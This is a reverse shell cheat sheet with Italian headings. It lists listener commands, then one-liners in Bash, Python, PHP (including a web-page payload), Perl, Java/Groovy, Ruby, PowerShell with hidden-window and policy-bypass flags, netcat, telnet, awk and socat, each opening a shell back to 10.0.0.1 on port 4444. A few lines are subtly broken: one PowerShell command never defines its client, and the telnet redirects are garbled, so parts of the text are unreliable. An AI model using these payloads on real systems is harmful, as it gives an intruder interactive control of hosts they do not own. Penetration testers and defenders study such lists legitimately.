tags: reverse_shell CheetSheet_Rev_Shell
🎯 LISTENER (KALI - PRIMA DI TUTTO)
# Netcat classico
nc -lnvp 4444
# Netcat con stabilizzazione
nc -lnvp 4444 -e /bin/bash
# Socat (più stabile)
socat TCP-LISTEN:4444,reuseaddr,fork FILE:`tty`,raw,echo=0🐚 BASH REVERSE SHELL
# Metodo base
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# Con exec
exec 5<>/dev/tcp/10.0.0.1/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
# Usando /dev/tcp
0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196🐍 PYTHON REVERSE SHELL
# Python 2/3
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
# Versione più corta
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'
🐘 PHP REVERSE SHELL
# One-liner
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Con shell_exec
php -r '$sock=fsockopen("10.0.0.1",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
# Versione per web
<?php system("bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"); ?>📜 PERL REVERSE SHELL
# Metodo classico
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Versione più breve
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'☕ JAVA REVERSE SHELL
// One-liner complesso (raro ma utile)
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor()
🇷 RUBY REVERSE SHELL
ruby
# Ruby one-liner
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# Versione più moderna
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4444");loop{c.gets&&IO.popen($_,?r){|io|c.print io.read}}'
🔷 POWERSHELL REVERSE SHELL
# Windows PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# One-liner più corto
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"🦀 NETCAT (nc) REVERSE SHELL
# Netcat tradizionale
nc -e /bin/sh 10.0.0.1 4444
# Netcat senza -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f
# Netcat OpenBSD
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f📟 TELNET REVERSE SHELL
# Usando telnet
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 4444 0/tmp/p
# Alternativa
telnet 10.0.0.1 4444 | /bin/bash | telnet 10.0.0.1 4445🐧 AWK REVERSE SHELL
# AWK one-liner
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null🎪 SOCAT REVERSE SHELL
# Socat (molto stabile)
socat TCP:10.0.0.1:4444 EXEC:/bin/bash
# Con pty
socat TCP:10.0.0.1:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane